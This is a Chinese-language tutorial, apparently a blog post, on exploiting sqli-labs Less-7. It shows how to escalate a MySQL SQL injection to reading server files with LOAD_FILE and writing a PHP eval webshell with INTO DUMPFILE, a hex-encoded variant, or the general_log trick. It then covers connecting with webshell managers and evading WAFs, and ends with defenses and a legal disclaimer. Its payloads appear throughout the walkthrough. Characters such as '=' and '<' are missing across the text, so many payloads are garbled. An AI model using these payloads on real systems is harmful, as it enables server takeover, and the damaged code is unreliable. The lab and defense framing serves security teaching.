MySQL文件读写漏洞深度解析:从SQL注入到Webshell写入实战

📅 2026/8/12 12:47:49
MySQL文件读写漏洞深度解析:从SQL注入到Webshell写入实战
1. 项目概述从SQL注入到文件读写在安全测试和CTF比赛中SQL注入漏洞的利用通常被划分为几个层次信息泄露、数据篡改、权限提升而文件读写操作无疑是其中最具威力的高级利用方式之一。它意味着攻击者不再局限于数据库的“围墙”之内而是能够将触角伸向服务器的文件系统进行读取敏感文件如配置文件、源代码或写入Webshell等操作从而完全控制服务器。今天我们就以经典的sqli-labs靶场第7关Less-7为例深入拆解如何利用MySQL数据库的LOAD_FILE()和INTO OUTFILE/INTO DUMPFILE函数将一次普通的SQL注入点转化为一个能够读写服务器文件的“后门”。Less-7这一关被设计为“Dump into Outfile”其核心就是考察利用INTO OUTFILE进行文件写入的能力。很多初学者在这一关会卡住因为这一关的注入点通常被设计得比较“刁钻”比如使用了特殊的字符处理、闭合方式或者对错误信息进行了屏蔽。但万变不离其宗只要我们理解了MySQL文件读写的核心原理和前置条件再结合靶场的具体环境进行调试就能找到突破口。这个过程不仅能帮你通关一个靶场更能让你深刻理解在真实渗透测试中遇到一个疑似存在文件读写漏洞的注入点时应该如何系统地思考、测试和利用。2. 核心原理与前置条件深度解析在动手之前我们必须把原理吃透。文件读写不是“万能钥匙”数据库和服务器环境必须满足一系列严格的条件否则再精巧的注入语句也是徒劳。2.1 MySQL文件读写函数的工作原理MySQL提供了两个关键函数用于文件操作LOAD_FILE(file_name)读取服务器主机上指定路径的文件内容并以字符串形式返回。这个函数是“读”操作的核心。INTO OUTFILE/INTO DUMPFILE这是SELECT ... INTO语句的选项用于将查询结果写入服务器主机上的一个文件。这是“写”操作的核心。INTO OUTFILE以文本格式写入会对某些字符进行转义如换行符被转义为\n制表符为\t。INTO DUMPFILE以二进制格式原样写入不做任何转义。写入Webshell时必须使用DUMPFILE否则PHP代码中的$等特殊字符可能被转义导致脚本无法执行。2.2 必须满足的“硬性条件”这些条件缺一不可是判断一个SQL注入点能否进行文件读写的“体检表”数据库用户具备FILE权限这是最根本的权限。FILE权限允许用户读取服务器上数据库可读的任何文件以及向数据库有写权限的目录写入文件。可以通过注入查询SELECT user, file_priv FROM mysql.user WHERE user CURRENT_USER();来间接判断。在靶场中用户通常被授予了所有权限。知晓网站的绝对路径这是最关键的一步。你无法向一个未知的地址投递包裹。路径信息可能通过报错信息、平台特性如PHP的phpinfo()、漏洞扫描器或目录爆破等方式获得。在Less-7中路径通常是已知或可推测的如/var/www/html/。secure_file_priv系统变量的值允许这是MySQL 5.5之后引入的安全限制。它定义了哪些目录可以用于LOAD DATA INFILE和SELECT ... INTO OUTFILE操作。使用查询SHOW VARIABLES LIKE ‘secure_file_priv’;查看。如果值为NULL则禁止在任何目录进行文件导入导出。这是最严格的情况。如果值为一个目录路径如/var/lib/mysql-files/则只能在该目录下进行文件操作。如果值为空字符串‘’则表示不限制目录但仍受操作系统权限限制。这是最理想的情况也是很多靶场和老旧环境的默认配置。对目标目录有操作系统写权限即使数据库有FILE权限且secure_file_priv开放MySQL服务进程通常是mysql或mysqld用户也必须在操作系统层面对目标目录拥有写权限。通常Web根目录如/var/www/html对Web服务器用户如www-data可写但不一定对MySQL用户可写。这是实战中常见的绊脚石。注意在真实渗透测试中满足所有这些条件的环境并不多见尤其是生产环境的MySQL通常会配置secure_file_priv为限制目录或NULL。因此文件读写漏洞的利用价值极高一旦发现往往意味着能直接获取服务器权限。2.3 Less-7靶场环境特征分析根据sqli-labs的设计Less-7通常具有以下特征注入类型一般为字符型注入但闭合方式可能比较特殊例如使用‘))、‘))等进行闭合。错误回显页面可能屏蔽了数据库报错信息变为“盲注”环境增加了判断闭合方式的难度。核心目标利用INTO OUTFILE/DUMPFILE在Web目录写入一个一句话木马Webshell然后通过该木马获取服务器控制权。已知条件我们通常假设已知Web绝对路径例如/var/www/html/sqli-labs/且数据库用户拥有FILE权限secure_file_priv为空。3. 详细利用步骤拆解与实操下面我们一步步拆解从探测到最终获取Shell的完整过程。我会结合常见的坑点和技巧进行说明。3.1 第一步确认注入点与闭合方式即使知道这一关考察文件写入我们也要先确认注入点的存在和准确的闭合方式这是所有SQL注入的基础。基础探测访问Less-7的URL例如http://your-ip/sqli-labs/Less-7/?id1。提交一个正常参数观察页面反应。判断闭合这是最关键的一步。由于错误信息可能被屏蔽我们需要使用“布尔盲注”的思路来判断。尝试?id1‘—— 如果页面显示异常与?id1不同则可能存在注入且使用了单引号闭合。尝试?id1‘ --—— 如果页面恢复正常则证实为单引号闭合且注释符生效。在Less-7中常见的闭合方式是‘))。我们可以系统性地测试?id1‘- 异常?id1‘)- 可能依然异常?id1‘))- 如果页面恢复正常则闭合符为‘))验证?id1‘)) --页面应正常。使用报错确认如果可能如果页面有错误回显可以尝试经典的报错注入payload来确认闭合和数据库类型?id1‘ and updatexml(1, concat(0x7e, user()), 1) --。但在Less-7中这一步可能无法直接看到报错信息。实操心得对于盲注环境我习惯准备一个“闭合符测试字典”按顺序尝试‘,“,‘),“),‘)),“)),‘],“]等。并用--或#进行注释观察页面“正常”与“异常”状态的切换。--中的号在URL中代表空格确保注释符生效。3.2 第二步验证文件读写权限在构造复杂的写入Payload前先进行“健康检查”。检查FILE权限与路径虽然靶场通常有但养成检查习惯很重要。?id1‘)) and (select count(*) from mysql.user where user() like ‘root%‘ and file_priv‘Y‘)0 --如果页面在正常与异常间切换可以判断当前用户是否有FILE权限。更直接的方法是尝试读取一个已知存在的文件?id1‘)) union select 1, load_file(‘/etc/passwd‘), 3 --如果页面某处显示了/etc/passwd文件的内容可能是源码中则证明读权限存在。注意由于闭合方式实际的Payload可能需要调整为?id1‘)) union select 1,load_file(‘/etc/passwd‘),3 --。检查secure_file_priv通过读取MySQL配置文件或利用时间盲注查询变量。?id1‘)) and if((select variable_value from information_schema.global_variables where variable_name‘secure_file_priv‘)‘‘, sleep(2), 1) --如果页面响应延迟2秒说明secure_file_priv值为空字符串允许任意目录写入。也可以尝试直接写入一个测试文件到/tmp目录通常全局可写来验证。3.3 第三步构造文件写入Payload确认权限后开始构造写入Webshell的语句。核心是利用UNION SELECT ... INTO OUTFILE/DUMPFILE。确定Web绝对路径这是最大的难点。在靶场中路径可能是预设的如/var/www/html/sqli-labs/。在实战中可能需要通过报错、扫描、phpinfo页面、加载已知图片等方式获取。假设我们已知路径为/var/www/html/sqli-labs/。构造一句话木马内容最简单的PHP一句话木马为?php eval($_POST[‘cmd‘]);?。这里cmd是连接时使用的密码。构建完整的注入Payload由于是UNION注入需要前后查询的列数一致。我们先确定列数。通过order by探测假设得出列数为3。写入Payload?id-1‘)) union select 1, ‘?php eval($_POST[“cmd“]);?‘, 3 into outfile ‘/var/www/html/sqli-labs/shell.php‘ --这里有几个关键点id-1确保前一个SELECT不返回结果使得页面显示我们UNION查询的结果即写入操作本身不直接显示内容但执行了。使用INTO DUMPFILE替代INTO OUTFILE这是写入Webshell时极其重要的一点。OUTFILE会在文本中转义特殊字符例如我们的PHP代码中的$符号可能被转义导致写入的shell无法执行。DUMPFILE是二进制写入原封不动。?id-1‘)) union select 1, ‘?php eval($_POST[“cmd“]);?‘, 3 into dumpfile ‘/var/www/html/sqli-labs/shell.php‘ --文件路径中的目录必须存在MySQL不会自动创建目录。确保/var/www/html/sqli-labs/这个目录是存在的。文件不能已存在INTO OUTFILE/DUMPFILE不能覆盖已存在的文件。如果之前失败过需要换一个文件名如shell2.php。3.4 第四步执行与验证提交Payload将构造好的URL进行URL编码特别是空格和引号或在浏览器中直接输入。如果页面没有报错正常返回可能是一片空白或原始页面则可能执行成功。验证文件是否写入直接访问你试图写入的文件例如http://your-ip/sqli-labs/shell.php。如果页面空白没有错误则说明文件存在且PHP语法基本正确。如果返回“404 Not Found”说明写入失败路径错误或权限不足。如果返回PHP语法错误说明写入的内容被破坏很可能是因为用了OUTFILE而不是DUMPFILE。使用Webshell连接工具测试使用中国蚁剑(AntSword)、冰蝎(Behinder)或哥斯拉(Godzilla)等Webshell管理工具连接。连接地址http://your-ip/sqli-labs/shell.php密码cmd即我们写在POST中的key如果连接成功即可在工具中看到服务器文件系统、执行命令等标志着利用完全成功。4. 常见问题、错误排查与高级技巧在实际操作中你几乎一定会遇到各种错误。下面是我踩过坑后总结的排查清单。4.1 错误排查速查表现象可能原因排查步骤页面返回数据库错误SQL语法错误闭合方式不对列数不对。1. 回退到order by重新确认列数。2. 仔细检查闭合符号使用‘ and ‘1‘‘1和‘ and ‘1‘‘2验证布尔逻辑。3. 将复杂的SELECT语句先在MySQL客户端中测试。页面正常但文件未创建路径错误、目录无写权限、secure_file_priv限制、文件名已存在。1. 尝试写入到/tmp/test.txt目录验证基本权限。2. 通过load_file(‘/proc/self/cwd/‘)或报错注入获取当前工作目录。3. 检查secure_file_priv值。4. 换一个全新的文件名。文件已创建但无法访问(404)文件未写入Web目录或目录无http访问权限。1. 确认写入的绝对路径是否在Web服务器如Apache/Nginx的根目录或虚拟主机目录下。2. 检查文件权限ls -la /path/to/file确保Web服务器用户可读。文件可访问但PHP不执行文件后缀不是.php或Web服务器未配置PHP解析。1. 确保文件名为.php结尾。2. 在文件中写入?php phpinfo();?测试如果显示源码而非PHP信息则是解析问题。连接Webshell失败/被拦截防火墙、安全软件、Web应用防火墙(WAF)拦截。1. 尝试使用编码、加密的Webshell如冰蝎的默认shell。2. 尝试写入到其他非标准端口或路径。3. 检查Web服务器错误日志。使用OUTFILE写入后shell无效特殊字符被转义。务必使用INTO DUMPFILE进行写入。4.2 高级利用技巧小字段写入大Webshell如果注入点查询返回的列字段长度有限例如一个VARCHAR(20)的字段无法容纳完整的Webshell代码。这时可以将Webshell代码分段写入多个字段union select ‘?php ‘, ‘eval($_POST[‘, ‘“c“]);?‘ into dumpfile ...或者使用hex编码绕过union select 0x3C3F70687020406576616C28245F504F53545B22636D64225D293B3F3E into dumpfile...其中十六进制内容就是?php eval($_POST[“cmd“]);?的hex值。MySQL的UNION SELECT会将其自动解码后写入。利用日志文件写Shell当secure_file_priv限制很死无法直接写入Web目录时可以尝试修改MySQL的日志路径到Web目录然后通过执行特定SQL语句将Webshell代码写入日志文件。SET global general_log_file‘/var/www/html/shell.php‘; SET global general_logon; SELECT ‘?php eval($_POST[cmd]);?‘; SET global general_logoff;这需要当前数据库用户拥有SUPER权限条件更为苛刻。DUMPFILE与OUTFILE的细节区别DUMPFILE每次只能写入一行数据。如果你UNION SELECT了多行数据DUMPFILE也只会写入第一行。而OUTFILE可以写入多行。因此在写入单行Webshell时用DUMPFILE在导出大量数据如整张表时用OUTFILE。5. 防御思路与总结通过以上剖析我们可以看到一个简单的SQL注入点如何演变成严重的服务器入侵事件。作为防御方必须层层设防根本解决使用参数化查询Prepared Statements或ORM框架杜绝SQL注入的产生。最小权限原则为Web应用数据库账户分配绝对最小的权限通常只需要SELECT、INSERT、UPDATE、DELETE永远不要授予FILE、GRANT OPTION、SUPER等高级权限。MySQL安全配置将secure_file_priv设置为NULL或一个特定的、非Web可访问的目录如/var/lib/mysql-files/。以非root用户运行MySQL服务。操作系统层面确保Web根目录对MySQL进程用户不可写。WAF与监控部署Web应用防火墙过滤LOAD_FILE、INTO OUTFILE、DUMPFILE等敏感关键字。监控服务器上异常文件的创建特别是.php文件。回过头看Less-7的挑战它像是一个精心设计的沙箱让我们在安全的环境中验证了从注入到文件读写再到获取Shell的完整杀伤链。理解每一步背后的“为什么”——为什么用DUMPFILE而不是OUTFILE为什么需要绝对路径为什么权限检查如此重要——远比单纯记住一个Payload更有价值。在真实的网络攻防中环境千变万化但原理是相通的。掌握了原理你才能灵活地测试、调整和利用而不是对着一个不工作的Payload束手无策。最后记住所有这些技术请仅用于授权的安全测试和法律允许的学习环境未经授权的攻击是非法的。